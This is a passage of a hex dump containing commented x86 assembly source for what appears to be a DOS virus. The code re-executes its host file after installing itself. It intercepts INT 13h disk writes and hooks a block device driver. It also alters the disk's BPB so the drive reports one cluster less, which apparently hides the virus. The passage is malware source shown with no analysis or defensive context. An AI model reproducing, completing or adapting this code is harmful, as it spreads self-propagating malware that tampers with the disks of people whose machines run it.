20 20 20 20 | | | |000023e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000023f0| 20 20 20 20 20 20 20 3b | 20 45 78 65 63 75 74 65 | ;| Execute| |00002400| 20 74 68 61 74 20 66 69 | 6c 65 0a 62 6f 6f 74 3a | that fi|le.boot:| |00002410| 20 20 20 20 6d 6f 76 20 | 20 20 65 73 2c 64 73 3a | mov | es,ds:| |00002420| 5b 31 36 68 5d 20 20 20 | 20 20 20 20 20 20 20 20 |[16h] | | |00002430| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 67 65 74 | | ; get| |00002440| 20 50 53 50 20 6f 66 20 | 70 61 72 65 6e 74 0a 20 | PSP of |parent. | |00002450| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 62 78 | |mov bx| |00002460| 2c 65 73 3a 5b 31 36 68 | 5d 20 20 20 20 20 20 20 |,es:[16h|] | |00002470| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |00002480| 20 67 65 74 20 50 53 50 | 20 6f 66 20 70 61 72 65 | get PSP| of pare| |00002490| 6e 74 0a 20 20 20 20 20 | 20 20 20 20 64 65 63 20 |nt. | dec | |000024a0| 20 20 62 78 20 20 20 20 | 20 20 20 20 20 20 20 20 | bx | | |000024b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000024c0| 20 20 20 3b 20 67 6f 20 | 74 6f 20 69 74 73 20 4d | ; go |to its M| |000024d0| 43 42 0a 20 20 20 20 20 | 20 20 20 20 78 6f 72 20 |CB. | xor | |000024e0| 20 20 73 69 2c 73 69 0a | 65 78 65 63 3a 20 20 20 | si,si.|exec: | |000024f0| 20 70 75 73 68 20 20 62 | 78 0a 20 20 20 20 20 20 | push b|x. | |00002500| 20 20 20 6d 6f 76 20 20 | 20 62 78 2c 6f 66 66 73 | mov | bx,offs| |00002510| 65 74 20 70 61 72 61 6d | 20 20 20 20 20 20 20 20 |et param| | |00002520| 20 20 20 20 20 20 20 20 | 20 20 3b 20 53 65 74 20 | | ; Set | |00002530| 75 70 20 70 61 72 61 6d | 65 74 65 72 20 62 6c 6f |up param|eter blo| |00002540| 63 6b 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |ck. | | |00002550| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002560| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002570| 20 20 20 3b 20 66 6f 72 | 20 45 58 45 43 20 66 75 | ; for| EXEC fu| |00002580| 6e 63 74 69 6f 6e 0a 20 | 20 20 20 20 20 20 20 20 |nction. | | |00002590| 6d 6f 76 20 20 20 5b 62 | 78 2b 34 5d 2c 63 73 20 |mov [b|x+4],cs | |000025a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000025b0| 20 20 20 20 20 20 20 3b | 20 73 65 67 6d 65 6e 74 | ;| segment| |000025c0| 20 74 6f 20 63 6f 6d 6d | 61 6e 64 20 6c 69 6e 65 | to comm|and line| |000025d0| 0a 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |. | mov | |000025e0| 5b 62 78 2b 38 5d 2c 63 | 73 20 20 20 20 20 20 20 |[bx+8],c|s | |000025f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002600| 20 3b 20 73 65 67 6d 65 | 6e 74 20 74 6f 20 31 73 | ; segme|nt to 1s| |00002610| 74 20 46 43 42 0a 20 20 | 20 20 20 20 20 20 20 6d |t FCB. | m| |00002620| 6f 76 20 20 20 5b 62 78 | 2b 31 32 5d 2c 63 73 20 |ov [bx|+12],cs | |00002630| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002640| 20 20 20 20 20 20 3b 20 | 73 65 67 6d 65 6e 74 20 | ; |segment | |00002650| 74 6f 20 32 6e 64 20 46 | 43 42 0a 20 20 20 20 20 |to 2nd F|CB. | |00002660| 20 20 20 20 70 6f 70 20 | 20 20 64 73 0a 20 20 20 | pop | ds. | |00002670| 20 20 20 20 20 20 70 75 | 73 68 20 20 63 73 0a 20 | pu|sh cs. | |00002680| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 65 73 | |pop es| |00002690| 0a 0a 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |.. | mov | |000026a0| 20 64 69 2c 6f 66 66 73 | 65 74 20 66 5f 6e 61 6d | di,offs|et f_nam| |000026b0| 65 0a 20 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |e. | push | |000026c0| 20 64 69 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | di | | |000026d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000026e0| 20 20 3b 20 53 61 76 65 | 20 66 69 6c 65 6e 61 6d | ; Save| filenam| |000026f0| 65 20 6f 66 66 73 65 74 | 0a 20 20 20 20 20 20 20 |e offset|. | |00002700| 20 20 6d 6f 76 20 20 20 | 63 78 2c 34 30 20 20 20 | mov |cx,40 | |00002710| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002720| 20 20 20 20 20 20 20 20 | 20 3b 20 43 6f 70 79 20 | | ; Copy | |00002730| 74 68 65 20 66 69 6c 65 | 6e 61 6d 65 20 74 6f 0a |the file|name to.| |00002740| 20 20 20 20 20 20 20 20 | 20 72 65 70 20 20 20 6d | | rep m| |00002750| 6f 76 73 77 20 20 20 20 | 20 20 20 20 20 20 20 20 |ovsw | | |00002760| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002770| 3b 20 74 68 65 20 62 75 | 66 66 65 72 0a 20 20 20 |; the bu|ffer. | |00002780| 20 20 20 20 20 20 70 75 | 73 68 20 20 63 73 0a 20 | pu|sh cs. | |00002790| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 64 73 | |pop ds| |000027a0| 0a 0a 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |.. | mov | |000027b0| 20 61 68 2c 33 64 68 20 | 20 20 20 20 20 20 20 20 | ah,3dh | | |000027c0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000027d0| 20 20 3b 20 48 61 6e 64 | 6c 65 20 6f 70 65 6e 20 | ; Hand|le open | |000027e0| 66 69 6c 65 0a 20 20 20 | 20 20 20 20 20 20 6d 6f |file. | mo| |000027f0| 76 20 20 20 64 78 2c 6f | 66 66 73 65 74 20 66 69 |v dx,o|ffset fi| |00002800| 6c 65 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |le | | |00002810| 20 20 20 20 20 3b 20 22 | 63 3a ff 22 2c 30 0a 20 | ; "|c:.",0. | |00002820| 20 20 20 20 20 20 20 20 | 63 61 6c 6c 20 20 6a 75 | |call ju| |00002830| 6d 70 0a 20 20 20 20 20 | 20 20 20 20 70 6f 70 20 |mp. | pop | |00002840| 20 20 64 78 20 20 20 20 | 20 20 20 20 20 20 20 20 | dx | | |00002850| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002860| 20 20 20 3b 20 44 53 3a | 44 58 20 2d 3e 20 66 69 | ; DS:|DX -> fi| |00002870| 6c 65 6e 61 6d 65 0a 0a | 20 20 20 20 20 20 20 20 |lename..| | |00002880| 20 6d 6f 76 20 20 20 61 | 78 2c 34 62 30 30 68 20 | mov a|x,4b00h | |00002890| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000028a0| 20 20 20 20 20 20 20 20 | 3b 20 4c 6f 61 64 20 61 | |; Load a| |000028b0| 6e 64 20 45 78 65 63 75 | 74 65 0a 20 20 20 20 20 |nd Execu|te. | |000028c0| 20 20 20 20 63 61 6c 6c | 20 20 6a 75 6d 70 20 20 | call| jump | |000028d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000028e0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 45 53 3a | | ; ES:| |000028f0| 42 58 20 3d 20 70 61 72 | 61 6d 20 62 6c 6f 63 6b |BX = par|am block| |00002900| 0a 20 20 20 20 20 20 20 | 20 20 6d 6f 76 20 20 20 |. | mov | |00002910| 61 68 2c 34 64 68 20 20 | 20 20 20 20 20 20 20 20 |ah,4dh | | |00002920| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002930| 20 3b 20 47 65 74 20 65 | 72 72 6f 72 6c 65 76 65 | ; Get e|rrorleve| |00002940| 6c 0a 20 20 20 20 20 20 | 20 20 20 63 61 6c 6c 20 |l. | call | |00002950| 20 6a 75 6d 70 0a 20 20 | 20 20 20 20 20 20 20 6d | jump. | m| |00002960| 6f 76 20 20 20 61 68 2c | 34 63 68 20 20 20 20 20 |ov ah,|4ch | |00002970| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002980| 20 20 20 20 20 20 3b 20 | 54 65 72 6d 69 6e 61 74 | ; |Terminat| |00002990| 65 0a 0a 6a 75 6d 70 3a | 20 20 20 20 70 75 73 68 |e..jump:| push| |000029a0| 66 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |f | | |000029b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000029c0| 20 20 20 3b 20 53 69 6d | 75 6c 61 74 65 20 61 6e | ; Sim|ulate an| |000029d0| 20 69 6e 74 65 72 72 75 | 70 74 20 32 31 68 0a 20 | interru|pt 21h. | |000029e0| 20 20 20 20 20 20 20 20 | 63 61 6c 6c 20 20 64 77 | |call dw| |000029f0| 6f 72 64 20 70 74 72 20 | 63 73 3a 5b 69 32 31 6f |ord ptr |cs:[i21o| |00002a00| 72 67 5d 0a 20 20 20 20 | 20 20 20 20 20 72 65 74 |rg]. | ret| |00002a10| 0a 0a 0a 3b 2d 2d 2d 2d | 2d 2d 2d 2d 49 6e 73 74 |...;----|----Inst| |00002a20| 61 6c 6c 61 74 69 6f 6e | 20 63 6f 6d 70 6c 65 74 |allation| complet| |00002a30| 65 0a 0a 69 31 33 70 72 | 3a 20 20 20 6d 6f 76 20 |e..i13pr|: mov | |00002a40| 20 20 61 68 2c 33 20 20 | 20 20 20 20 20 20 20 20 | ah,3 | | |00002a50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002a60| 20 20 20 3b 20 57 72 69 | 74 65 20 41 4c 20 73 65 | ; Wri|te AL se| |00002a70| 63 74 6f 72 73 20 66 72 | 6f 6d 20 45 53 3a 42 58 |ctors fr|om ES:BX| |00002a80| 0a 20 20 20 20 20 20 20 | 20 20 6a 6d 70 20 20 20 |. | jmp | |00002a90| 64 77 6f 72 64 20 70 74 | 72 20 63 73 3a 5b 69 31 |dword pt|r cs:[i1| |00002aa0| 33 6f 72 67 5d 20 20 20 | 20 20 20 20 20 20 20 20 |3org] | | |00002ab0| 20 3b 20 74 6f 20 74 72 | 61 63 6b 20 43 48 2c 20 | ; to tr|ack CH, | |00002ac0| 73 65 63 74 6f 72 20 43 | 4c 2c 0a 20 20 20 20 20 |sector C|L,. | |00002ad0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002ae0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002af0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 68 65 61 | | ; hea| |00002b00| 64 20 44 48 2c 20 64 72 | 69 76 65 20 44 4c 0a 0a |d DH, dr|ive DL..| |00002b10| 0a 6d 61 69 6e 3a 20 20 | 20 20 70 75 73 68 20 20 |.main: | push | |00002b20| 61 78 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 |ax | ; | |00002b30| 64 72 69 76 65 72 0a 20 | 20 20 20 20 20 20 20 20 |driver. | | |00002b40| 70 75 73 68 20 20 63 78 | 20 20 20 20 20 20 20 20 |push cx| | |00002b50| 20 20 20 20 3b 20 73 74 | 72 61 74 65 67 79 20 62 | ; st|rategy b| |00002b60| 6c 6f 63 6b 0a 20 20 20 | 20 20 20 20 20 20 70 75 |lock. | pu| |00002b70| 73 68 20 20 64 78 0a 20 | 20 20 20 20 20 20 20 20 |sh dx. | | |00002b80| 70 75 73 68 20 20 64 73 | 0a 20 20 20 20 20 20 20 |push ds|. | |00002b90| 20 20 70 75 73 68 20 20 | 73 69 0a 20 20 20 20 20 | push |si. | |00002ba0| 20 20 20 20 70 75 73 68 | 20 20 64 69 0a 0a 20 20 | push| di.. | |00002bb0| 20 20 20 20 20 20 20 70 | 75 73 68 20 20 65 73 20 | p|ush es | |00002bc0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002bd0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; | |00002be0| 4d 6f 76 65 20 73 65 67 | 6d 65 6e 74 20 6f 66 20 |Move seg|ment of | |00002bf0| 70 61 72 61 6d 65 74 65 | 72 0a 20 20 20 20 20 20 |paramete|r. | |00002c00| 20 20 20 70 6f 70 20 20 | 20 64 73 20 20 20 20 20 | pop | ds | |00002c10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002c20| 20 20 20 20 20 20 20 20 | 20 20 3b 20 62 6c 6f 63 | | ; bloc| |00002c30| 6b 20 74 6f 20 44 53 0a | 20 20 20 20 20 20 20 20 |k to DS.| | |00002c40| 20 6d 6f 76 20 20 20 61 | 6c 2c 5b 62 78 2b 32 5d | mov a|l,[bx+2]| |00002c50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002c60| 20 20 20 20 20 20 20 20 | 3b 20 5b 62 78 2b 32 5d | |; [bx+2]| |00002c70| 20 68 6f 6c 64 73 20 63 | 6f 6d 6d 61 6e 64 20 63 | holds c|ommand c| |00002c80| 6f 64 65 0a 0a 20 20 20 | 20 20 20 20 20 20 63 6d |ode.. | cm| |00002c90| 70 20 20 20 61 6c 2c 34 | 20 20 20 20 20 20 20 20 |p al,4| | |00002ca0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002cb0| 20 20 20 20 20 3b 20 49 | 6e 70 75 74 20 28 72 65 | ; I|nput (re| |00002cc0| 61 64 29 0a 20 20 20 20 | 20 20 20 20 20 6a 65 20 |ad). | je | |00002cd0| 20 20 20 69 6e 70 75 74 | 0a 20 20 20 20 20 20 20 | input|. | |00002ce0| 20 20 63 6d 70 20 20 20 | 61 6c 2c 38 20 20 20 20 | cmp |al,8 | |00002cf0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002d00| 20 20 20 20 20 20 20 20 | 20 3b 20 4f 75 74 70 75 | | ; Outpu| |00002d10| 74 20 28 77 72 69 74 65 | 29 0a 20 20 20 20 20 20 |t (write|). | |00002d20| 20 20 20 6a 65 20 20 20 | 20 6f 75 74 70 75 74 0a | je | output.| |00002d30| 20 20 20 20 20 20 20 20 | 20 63 6d 70 20 20 20 61 | | cmp a| |00002d40| 6c 2c 39 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |l,9 | | |00002d50| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002d60| 3b 20 4f 75 74 70 75 74 | 20 28 77 72 69 74 65 29 |; Output| (write)| |00002d70| 20 77 69 74 68 20 76 65 | 72 69 66 79 0a 20 20 20 | with ve|rify. | |00002d80| 20 20 20 20 20 20 6a 65 | 20 20 20 20 6f 75 74 70 | je| outp| |00002d90| 75 74 0a 0a 20 20 20 20 | 20 20 20 20 20 63 61 6c |ut.. | cal| |00002da0| 6c 20 20 69 6e 5f 20 20 | 20 20 20 20 20 20 20 20 |l in_ | | |00002db0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002dc0| 20 20 20 20 3b 20 43 61 | 6c 6c 20 6f 72 69 67 69 | ; Ca|ll origi| |00002dd0| 6e 61 6c 20 64 65 76 69 | 63 65 0a 20 20 20 20 20 |nal devi|ce. | |00002de0| 20 20 20 20 63 6d 70 20 | 20 20 61 6c 2c 32 20 20 | cmp | al,2 | |00002df0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002e00| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 52 65 71 | | ; Req| |00002e10| 75 65 73 74 20 62 75 69 | 6c 64 20 42 50 42 0a 20 |uest bui|ld BPB. | |00002e20| 20 20 20 20 20 20 20 20 | 6a 6e 65 20 20 20 70 70 | |jne pp| |00002e30| 70 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |p | | |00002e40| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;| |00002e50| 20 49 66 20 6e 6f 6e 65 | 20 6f 66 20 74 68 65 20 | If none| of the | |00002e60| 61 62 6f 76 65 2c 20 65 | 78 69 74 0a 20 20 20 20 |above, e|xit. | |00002e70| 20 20 20 20 20 6c 64 73 | 20 20 20 73 69 2c 5b 62 | lds| si,[b| |00002e80| 78 2b 31 32 68 5d 20 20 | 20 20 20 20 20 20 20 20 |x+12h] | | |00002e90| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 44 53 | | ; DS| |00002ea0| 3a 53 49 20 70 6f 69 6e | 74 20 74 6f 20 42 50 42 |:SI poin|t to BPB| |00002eb0| 20 74 61 62 6c 65 0a 20 | 20 20 20 20 20 20 20 20 | table. | | |00002ec0| 6d 6f 76 20 20 20 64 69 | 2c 6f 66 66 73 65 74 20 |mov di|,offset | |00002ed0| 62 70 62 5f 62 75 66 20 | 20 20 20 20 20 20 20 20 |bpb_buf | | |00002ee0| 20 20 20 20 20 20 20 3b | 20 52 65 70 6c 61 63 65 | ;| Replace| |00002ef0| 20 6f 6c 64 20 70 6f 69 | 6e 74 65 72 20 77 69 74 | old poi|nter wit| |00002f00| 68 0a 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |h. | mov | |00002f10| 20 65 73 3a 5b 62 78 2b | 31 32 68 5d 2c 64 69 20 | es:[bx+|12h],di | |00002f20| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002f30| 20 20 3b 20 61 20 70 6f | 69 6e 74 65 72 20 74 6f | ; a po|inter to| |00002f40| 20 6f 75 72 20 6f 77 6e | 0a 20 20 20 20 20 20 20 | our own|. | |00002f50| 20 20 6d 6f 76 20 20 20 | 65 73 3a 5b 62 78 2b 31 | mov |es:[bx+1| |00002f60| 34 68 5d 2c 63 73 20 20 | 20 20 20 20 20 20 20 20 |4h],cs | | |00002f70| 20 20 20 20 20 20 20 20 | 20 3b 20 42 50 42 20 74 | | ; BPB t| |00002f80| 61 62 6c 65 0a 20 20 20 | 20 20 20 20 20 20 70 75 |able. | pu| |00002f90| 73 68 20 20 65 73 20 20 | 20 20 20 20 20 20 20 20 |sh es | | |00002fa0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00002fb0| 20 20 20 20 20 3b 20 53 | 61 76 65 20 73 65 67 6d | ; S|ave segm| |00002fc0| 65 6e 74 20 6f 66 20 70 | 61 72 61 6d 65 74 65 72 |ent of p|arameter| |00002fd0| 73 0a 20 20 20 20 20 20 | 20 20 20 70 75 73 68 20 |s. | push | |00002fe0| 20 63 73 0a 20 20 20 20 | 20 20 20 20 20 70 6f 70 | cs. | pop| |00002ff0| 20 20 20 65 73 0a 20 20 | 20 20 20 20 20 20 20 6d | es. | m| |00003000| 6f 76 20 20 20 63 78 2c | 31 36 20 20 20 20 20 20 |ov cx,|16 | |00003010| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003020| 20 20 20 20 20 20 3b 20 | 43 6f 70 79 20 74 68 65 | ; |Copy the| |00003030| 20 6f 6c 64 20 42 50 42 | 20 74 61 62 6c 65 20 74 | old BPB| table t| |00003040| 6f 0a 20 20 20 20 20 20 | 20 20 20 72 65 70 20 20 |o. | rep | |00003050| 20 6d 6f 76 73 77 20 20 | 20 20 20 20 20 20 20 20 | movsw | | |00003060| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003070| 20 20 3b 20 6f 75 72 20 | 6f 77 6e 0a 20 20 20 20 | ; our |own. | |00003080| 20 20 20 20 20 70 6f 70 | 20 20 20 65 73 20 20 20 | pop| es | |00003090| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000030a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 52 65 | | ; Re| |000030b0| 73 74 6f 72 65 20 70 61 | 72 61 6d 65 74 65 72 20 |store pa|rameter | |000030c0| 73 65 67 6d 65 6e 74 0a | 20 20 20 20 20 20 20 20 |segment.| | |000030d0| 20 70 75 73 68 20 20 63 | 73 0a 20 20 20 20 20 20 | push c|s. | |000030e0| 20 20 20 70 6f 70 20 20 | 20 64 73 0a 20 20 20 20 | pop | ds. | |000030f0| 20 20 20 20 20 6d 6f 76 | 20 20 20 61 6c 2c 5b 64 | mov| al,[d| |00003100| 69 2b 32 2d 33 32 5d 20 | 20 20 20 20 20 20 20 20 |i+2-32] | | |00003110| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 41 4c | | ; AL| |00003120| 20 3d 20 73 65 63 74 6f | 72 73 20 70 65 72 20 61 | = secto|rs per a| |00003130| 6c 6c 6f 63 61 74 69 6f | 6e 0a 20 20 20 20 20 20 |llocatio|n. | |00003140| 20 20 20 63 6d 70 20 20 | 20 61 6c 2c 32 20 20 20 | cmp | al,2 | |00003150| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003160| 20 20 20 20 20 20 20 20 | 20 20 3b 20 20 20 20 20 | | ; | |00003170| 20 75 6e 69 74 2e 20 20 | 49 66 20 6c 65 73 73 20 | unit. |If less | |00003180| 74 68 61 6e 0a 20 20 20 | 20 20 20 20 20 20 61 64 |than. | ad| |00003190| 63 20 20 20 61 6c 2c 30 | 20 20 20 20 20 20 20 20 |c al,0| | |000031a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000031b0| 20 20 20 20 20 3b 20 20 | 20 20 20 20 32 2c 20 69 | ; | 2, i| |000031c0| 6e 63 72 65 6d 65 6e 74 | 0a 20 20 20 20 20 20 20 |ncrement|. | |000031d0| 20 20 63 62 77 20 20 20 | 20 20 20 20 20 20 20 20 | cbw | | |000031e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000031f0| 20 20 20 20 20 20 20 20 | 20 3b 20 45 78 74 65 6e | | ; Exten| |00003200| 64 20 73 69 67 6e 20 74 | 6f 20 41 48 20 28 63 6c |d sign t|o AH (cl| |00003210| 65 61 72 20 41 48 29 0a | 20 20 20 20 20 20 20 20 |ear AH).| | |00003220| 20 63 6d 70 20 20 20 77 | 6f 72 64 20 70 74 72 20 | cmp w|ord ptr | |00003230| 5b 64 69 2b 38 2d 33 32 | 5d 2c 30 20 20 20 20 20 |[di+8-32|],0 | |00003240| 20 20 20 20 20 20 20 20 | 3b 20 49 73 20 74 6f 74 | |; Is tot| |00003250| 61 6c 20 6e 75 6d 62 65 | 72 20 73 65 63 74 6f 72 |al numbe|r sector| |00003260| 73 20 3d 20 30 3f 0a 20 | 20 20 20 20 20 20 20 20 |s = 0?. | | |00003270| 6a 65 20 20 20 20 6d 33 | 32 20 20 20 20 20 20 20 |je m3|2 | |00003280| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003290| 20 20 20 20 20 20 20 3b | 20 49 66 20 73 6f 2c 20 | ;| If so, | |000032a0| 62 69 67 20 70 61 72 74 | 69 74 69 6f 6e 20 28 3e |big part|ition (>| |000032b0| 33 32 4d 42 29 0a 20 20 | 20 20 20 20 20 20 20 73 |32MB). | s| |000032c0| 75 62 20 20 20 5b 64 69 | 2b 38 2d 33 32 5d 2c 61 |ub [di|+8-32],a| |000032d0| 78 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |x | | |000032e0| 20 20 20 20 20 20 3b 20 | 44 65 63 72 65 61 73 65 | ; |Decrease| |000032f0| 20 73 70 61 63 65 20 6f | 66 20 64 69 73 6b 20 62 | space o|f disk b| |00003300| 79 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |y. | | |00003310| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003320| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003330| 20 20 3b 20 6f 6e 65 20 | 61 6c 6c 6f 63 61 74 69 | ; one |allocati| |00003340| 6f 6e 20 75 6e 69 74 28 | 63 6c 75 73 74 65 72 29 |on unit(|cluster)| |00003350| 0a 20 20 20 20 20 20 20 | 20 20 6a 6d 70 20 20 20 |. | jmp | |00003360| 73 68 6f 72 74 20 70 70 | 70 20 20 20 20 20 20 20 |short pp|p | |00003370| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003380| 20 3b 20 45 78 69 74 0a | 6d 33 32 3a 20 20 20 20 | ; Exit.|m32: | |00003390| 20 73 75 62 20 20 20 5b | 64 69 2b 31 35 68 2d 33 | sub [|di+15h-3| |000033a0| 32 5d 2c 61 78 20 20 20 | 20 20 20 20 20 20 20 20 |2],ax | | |000033b0| 20 20 20 20 20 20 20 20 | 3b 20 48 61 6e 64 6c 65 | |; Handle| |000033c0| 20 6c 61 72 67 65 20 70 | 61 72 74 69 74 69 6f 6e | large p|artition| |000033d0| 73 0a 20 20 20 20 20 20 | 20 20 20 73 62 62 20 20 |s. | sbb | |000033e0| 20 77 6f 72 64 20 70 74 | 72 20 5b 64 69 2b 31 37 | word pt|r [di+17| |000033f0| 68 2d 33 32 5d 2c 30 0a | 0a 70 70 70 3a 20 20 20 |h-32],0.|.ppp: | |00003400| 20 20 70 6f 70 20 20 20 | 64 69 0a 20 20 20 20 20 | pop |di. | |00003410| 20 20 20 20 70 6f 70 20 | 20 20 73 69 0a 20 20 20 | pop | si. | |00003420| 20 20 20 20 20 20 70 6f | 70 20 20 20 64 73 0a 20 | po|p ds. | |00003430| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 64 78 | |pop dx| |00003440| 0a 20 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |. | pop | |00003450| 63 78 0a 20 20 20 20 20 | 20 20 20 20 70 6f 70 20 |cx. | pop | |00003460| 20 20 61 78 0a 72 74 73 | 3a 20 20 20 20 20 72 65 | ax.rts|: re| |00003470| 74 66 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |tf | | |00003480| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003490| 20 20 20 20 20 3b 20 57 | 65 20 61 72 65 20 6f 75 | ; W|e are ou| |000034a0| 74 74 61 20 68 65 72 65 | 21 0a 0a 6f 75 74 70 75 |tta here|!..outpu| |000034b0| 74 3a 20 20 6d 6f 76 20 | 20 20 63 78 2c 30 66 66 |t: mov | cx,0ff| |000034c0| 30 39 68 0a 20 20 20 20 | 20 20 20 20 20 63 61 6c |09h. | cal| |000034d0| 6c 20 20 63 68 65 63 6b | 20 20 20 20 20 20 20 20 |l check| | |000034e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |000034f0| 20 20 20 20 3b 20 69 73 | 20 69 74 20 61 20 6e 65 | ; is| it a ne| |00003500| 77 20 64 69 73 6b 3f 0a | 20 20 20 20 20 20 20 20 |w disk?.| | |00003510| 20 6a 7a 20 20 20 20 69 | 6e 66 5f 73 65 63 20 20 | jz i|nf_sec | |00003520| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003530| 20 20 20 20 20 20 20 20 | 3b 20 49 66 20 6e 6f 74 | |; If not| |00003540| 2c 20 67 6f 20 61 77 61 | 79 0a 20 20 20 20 20 20 |, go awa|y. | |00003550| 20 20 20 63 61 6c 6c 20 | 20 69 6e 5f 20 20 20 20 | call | in_ | |00003560| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003570| 20 20 20 20 20 20 20 20 | 20 20 3b 20 43 61 6c 6c | | ; Call| |00003580| 20 6f 72 69 67 69 6e 61 | 6c 20 64 65 76 69 63 65 | origina|l device| |00003590| 20 68 61 6e 64 6c 65 72 | 0a 20 20 20 20 20 20 20 | handler|. | |000035a0| 20 20 6a 6d 70 20 20 20 | 73 68 6f 72 74 20 69 6e | jmp |short in| |000035b0| 66 5f 64 73 6b 0a 0a 69 | 6e 66 5f 73 65 63 3a 20 |f_dsk..i|nf_sec: | |000035c0| 6a 6d 70 20 20 20 5f 69 | 6e 66 5f 73 65 63 0a 72 |jmp _i|nf_sec.r| |000035d0| 65 61 64 3a 20 20 20 20 | 6a 6d 70 20 20 20 5f 72 |ead: |jmp _r| |000035e0| 65 61 64 0a 72 65 61 64 | 5f 3a 20 20 20 61 64 64 |ead.read|_: add| |000035f0| 20 20 20 73 70 2c 31 36 | 20 20 20 20 20 20 20 20 | sp,16| | |00003600| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003610| 20 20 20 20 3b 20 52 65 | 73 74 6f 72 65 20 74 68 | ; Re|store th| |00003620| 65 20 73 74 61 63 6b 0a | 20 20 20 20 20 20 20 20 |e stack.| | |00003630| 20 6a 6d 70 20 20 20 73 | 68 6f 72 74 20 70 70 70 | jmp s|hort ppp| |00003640| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | | |00003650| 20 20 20 20 20 20 20 20 | 3b 20 4c 65 61 76 65 20 | |; Leave | |00003660| 64 65 76 69 63 65 20 64 | 72 69 76 65 72 0a 0a 69 |device d|river..i| |00003670| 6e 70 75 74 3a 20 20 